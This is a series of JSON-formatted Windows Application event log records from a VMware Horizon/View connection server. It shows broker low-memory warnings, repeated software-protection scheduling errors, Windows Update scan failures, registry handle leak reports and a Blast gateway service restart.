{"@timestamp":1646843715596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 17:35:15 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167529}}
{"@timestamp":1646886915543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 10 05:35:15 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167530}}
{"@timestamp":1646899276473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":167531}}
{"@timestamp":1646899792703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167532}}
{"@timestamp":1646899792824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167533}}
{"@timestamp":1646907221744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167534}}
{"@timestamp":1646907241256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167535}}
{"@timestamp":1646907241378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167536}}
{"@timestamp":1646907251755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167537}}
{"@timestamp":1646907281760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167538}}
{"@timestamp":1646907311768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167539}}
{"@timestamp":1646907341777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167540}}
{"@timestamp":1646907371785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167541}}
{"@timestamp":1646907401790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167542}}
{"@timestamp":1646907431797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167543}}
{"@timestamp":1646907458217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","4f206ec1-a05b-11ec-b819-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167544}}
{"@timestamp":1646907469415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167545}}
{"@timestamp":1646907499424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167546}}
{"@timestamp":1646907529436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167547}}
{"@timestamp":1646907559450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167548}}
{"@timestamp":1646907589458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167549}}
{"@timestamp":1646907619467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167550}}
{"@timestamp":1646907649495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167551}}
{"@timestamp":1646907679531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167552}}
{"@timestamp":1646907709558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167553}}
{"@timestamp":1646907739634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167554}}
{"@timestamp":1646907769718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167555}}
{"@timestamp":1646907799780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167556}}
{"@timestamp":1646907829867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167557}}
{"@timestamp":1646907859893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167558}}
{"@timestamp":1646907889924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167559}}
{"@timestamp":1646907916506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","604c1928-a05c-11ec-b819-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167560}}
{"@timestamp":1646907919934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167561}}
{"@timestamp":1646907949945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167562}}
{"@timestamp":1646907979954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167563}}
{"@timestamp":1646908009964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167564}}
{"@timestamp":1646908039973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167565}}
{"@timestamp":1646908069982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167566}}
{"@timestamp":1646908099991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167567}}
{"@timestamp":1646908129999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167568}}
{"@timestamp":1646908160007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167569}}
{"@timestamp":1646908190015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167570}}
{"@timestamp":1646908208401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","0e4a1a11-a05d-11ec-b819-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167571}}
{"@timestamp":1646908208423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","0e4a1a12-a05d-11ec-b819-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167572}}
{"@timestamp":1646908220023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167573}}
{"@timestamp":1646908220057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":167574}}
{"@timestamp":1646908250032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167575}}
{"@timestamp":1646908280041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167576}}
{"@timestamp":1646908310048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167577}}
{"@timestamp":1646908334431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":260,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167578}}
{"@timestamp":1646908334431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":272,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167579}}
{"@timestamp":1646908334437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":108,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167580}}
{"@timestamp":1646908334286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"13 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 704 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 704 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 932 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 1952 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 704 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\nProcess 1112 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\POLICIES\\MICROSOFT\\INTERNET EXPLORER\\MAIN\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167581}}
{"@timestamp":1646908336083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":3,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167582}}
{"@timestamp":1646908336259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","SHUTDOWN"]}}},"module":"Application","provider":"nssm","sequence":167583}}
{"@timestamp":1646908336264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1532,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167584}}
{"@timestamp":1646908359063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1531,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167585}}
{"@timestamp":1646908359981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167586}}
{"@timestamp":1646908359430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5615,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167587}}
{"@timestamp":1646908360393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5617,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167588}}
{"@timestamp":1646908366685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":258,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167589}}
{"@timestamp":1646908366888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":781,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\COM3\\Eventlog"}},"module":"Application","provider":"Microsoft-Windows-Complus","sequence":167590}}
{"@timestamp":1646908366966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":271,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167591}}
{"@timestamp":1646908367247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4202,"custom_data":{"EventData":{"param1":"0","param10":"0","param11":"0","param12":"1","param2":"0","param3":"0","param4":"0","param5":"0","param6":"0","param7":"1","param8":"Mutual Authentication Required","param9":"NT AUTHORITY\\NetworkService"}},"module":"Application","provider":"Microsoft-Windows-MSDTC 2","sequence":167592}}
{"@timestamp":1646908375966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167593}}
{"@timestamp":1646908433927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":167594}}
{"@timestamp":1646908434020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167595}}
{"@timestamp":1646908434035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167596}}
{"@timestamp":1646908437142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167597}}
{"@timestamp":1646908483902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":900,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["<none>"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167598}}
{"@timestamp":1646908484433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1066,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Windows\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167599}}
{"@timestamp":1646908484589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 258039)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167600}}
{"@timestamp":1646908484605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":902,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["10.0.14393.4886"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167601}}
{"@timestamp":1646908514715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167602}}
{"@timestamp":1646908544580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030333535322D205449443A202030303030333532302D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167603}}
{"@timestamp":1646908544719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167604}}
{"@timestamp":1646908574729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167605}}
